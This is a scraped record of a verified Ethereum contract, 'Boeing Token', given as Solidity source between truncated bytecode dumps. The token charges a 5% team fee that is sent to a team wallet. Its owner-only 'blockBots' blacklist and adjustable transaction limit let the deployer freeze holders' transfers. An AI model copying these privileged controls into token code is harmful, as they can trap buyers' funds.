600160a01b038216610ee4576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b610ef060008383610f79565b600254610efd9082610e40565b6002556001600160a01b038216600090815260208190526040902054610f239082610e40565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b505050565b8282018183821015610e385760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610dfd578181015183820152602001610de556fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122023c271d0b9128548a365a3b898e5202b22950e6fe8b57f4209b3f746152be0f464736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,176
0xed94eb47809aab35720d55475af4f23d1fe23443
/** *Submitted for verification at Etherscan.io on 2021-07-15 * * https://t.me/Boeingtoken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Boeing is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Boeing Token"; string private constant _symbol = unicode"Boeing🛫"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 0; _teamFee = 5; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612999565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612e3a565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e919061295d565b6105ad565b6040516101a09190612e1f565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190612fdc565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f6919061290e565b6105d9565b6040516102089190612e1f565b60405180910390f35b34801561021d57600080fd5b506102266106b2565b005b34801561023457600080fd5b5061023d610c09565b60405161024a9190613051565b60405180910390f35b34801561025f57600080fd5b5061027a600480360381019061027591906129da565b610c12565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612880565b610cc4565b005b3480156102b157600080fd5b506102ba610db4565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612880565b610e26565b6040516102f09190612fdc565b60405180910390f35b34801561030557600080fd5b5061030e610e77565b005b34801561031c57600080fd5b50610325610fca565b6040516103329190612d51565b60405180910390f35b34801561034757600080fd5b50610350610ff3565b60405161035d9190612e3a565b60405180910390f35b34801561037257600080fd5b5061038d6004803603810190610388919061295d565b611030565b60405161039a9190612e1f565b60405180910390f35b3480156103af57600080fd5b506103b861104e565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612a2c565b6110c8565b005b3480156103ef57600080fd5b5061040a600480360381019061040591906128d2565b61120e565b6040516104179190612fdc565b60405180910390f35b610428611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612f3c565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610564906132f2565b9150506104b8565b5050565b60606040518060400160405280600c81526020017f426f65696e6720546f6b656e0000000000000000000000000000000000000000815250905090565b60006105c16105ba611295565b848461129d565b6001905092915050565b6000655af3107a4000905090565b60006105e6848484611468565b6106a7846105f2611295565b6106a28560405180606001604052806028815260200161371560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610658611295565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c279092919063ffffffff16565b61129d565b600190509392505050565b6106ba611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073e90612f3c565b60405180910390fd5b600e60149054906101000a900460ff1615610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90612e7c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16655af3107a400061129d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561086a57600080fd5b505afa15801561087e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a291906128a9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090457600080fd5b505afa158015610918573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093c91906128a9565b6040518363ffffffff1660e01b8152600401610959929190612d6c565b602060405180830381600087803b15801561097357600080fd5b505af1158015610987573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ab91906128a9565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3430610e26565b600080610a3f610fca565b426040518863ffffffff1660e01b8152600401610a6196959493929190612dbe565b6060604051808303818588803b158015610a7a57600080fd5b505af1158015610a8e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab39190612a55565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550655af3107a4000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bb3929190612d95565b602060405180830381600087803b158015610bcd57600080fd5b505af1158015610be1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c059190612a03565b5050565b60006009905090565b610c1a611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9e90612f3c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610ccc611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5090612f3c565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610df5611295565b73ffffffffffffffffffffffffffffffffffffffff1614610e1557600080fd5b6000479050610e2381611c8b565b50565b6000610e70600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cf7565b9050919050565b610e7f611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0390612f3c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f426f65696e67f09f9bab00000000000000000000000000000000000000000000815250905090565b600061104461103d611295565b8484611468565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661108f611295565b73ffffffffffffffffffffffffffffffffffffffff16146110af57600080fd5b60006110ba30610e26565b90506110c581611d65565b50565b6110d0611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115490612f3c565b60405180910390fd5b600081116111a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119790612efc565b60405180910390fd5b6111cc60646111be83655af3107a400061205f90919063ffffffff16565b6120da90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516112039190612fdc565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130490612f9c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137490612ebc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161145b9190612fdc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cf90612f7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153f90612e5c565b60405180910390fd5b6000811161158b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158290612f5c565b60405180910390fd5b611593610fca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160157506115d1610fca565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6457600e60179054906101000a900460ff1615611834573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116dd5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183357600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177d611295565b73ffffffffffffffffffffffffffffffffffffffff1614806117f35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117db611295565b73ffffffffffffffffffffffffffffffffffffffff16145b611832576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182990612fbc565b60405180910390fd5b5b5b600f5481111561184357600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118e75750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f057600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561199b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119f15750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a095750600e60179054906101000a900460ff165b15611aaa5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5957600080fd5b601e42611a669190613112565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ab530610e26565b9050600e60159054906101000a900460ff16158015611b225750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b3a5750600e60169054906101000a900460ff165b15611b6257611b4881611d65565b60004790506000811115611b6057611b5f47611c8b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c0b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1557600090505b611c2184848484612124565b50505050565b6000838311158290611c6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c669190612e3a565b60405180910390fd5b5060008385611c7e91906131f3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cf3573d6000803e3d6000fd5b5050565b6000600654821115611d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3590612e9c565b60405180910390fd5b6000611d48612151565b9050611d5d81846120da90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611df15781602001602082028036833780820191505090505b5090503081600081518110611e2f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ed157600080fd5b505afa158015611ee5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f0991906128a9565b81600181518110611f43577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611faa30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161200e959493929190612ff7565b600060405180830381600087803b15801561202857600080fd5b505af115801561203c573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207257600090506120d4565b600082846120809190613199565b905082848261208f9190613168565b146120cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c690612f1c565b60405180910390fd5b809150505b92915050565b600061211c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061217c565b905092915050565b80612132576121316121df565b5b61213d848484612210565b8061214b5761214a6123db565b5b50505050565b600080600061215e6123ed565b9150915061217581836120da90919063ffffffff16565b9250505090565b600080831182906121c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ba9190612e3a565b60405180910390fd5b50600083856121d29190613168565b9050809150509392505050565b60006008541480156121f357506000600954145b156121fd5761220e565b600060088190555060006009819055505b565b60008060008060008061222287612446565b95509550955095509550955061228086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ae90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236181612556565b61236b8483612613565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123c89190612fdc565b60405180910390a3505050505050505050565b60006008819055506005600981905550565b600080600060065490506000655af3107a4000905061241d655af3107a40006006546120da90919063ffffffff16565b82101561243957600654655af3107a4000935093505050612442565b81819350935050505b9091565b60008060008060008060008060006124638a60085460095461264d565b9250925092506000612473612151565b905060008060006124868e8787876126e3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c27565b905092915050565b60008082846125079190613112565b90508381101561254c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254390612edc565b60405180910390fd5b8091505092915050565b6000612560612151565b90506000612577828461205f90919063ffffffff16565b90506125cb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612628826006546124ae90919063ffffffff16565b600681905550612643816007546124f890919063ffffffff16565b6007819055505050565b600080600080612679606461266b888a61205f90919063ffffffff16565b6120da90919063ffffffff16565b905060006126a36064612695888b61205f90919063ffffffff16565b6120da90919063ffffffff16565b905060006126cc826126be858c6124ae90919063ffffffff16565b6124ae90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126fc858961205f90919063ffffffff16565b90506000612713868961205f90919063ffffffff16565b9050600061272a878961205f90919063ffffffff16565b905060006127538261274585876124ae90919063ffffffff16565b6124ae90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061277f61277a84613091565b61306c565b9050808382526020820190508285602086028201111561279e57600080fd5b60005b858110156127ce57816127b488826127d8565b8452602084019350602083019250506001810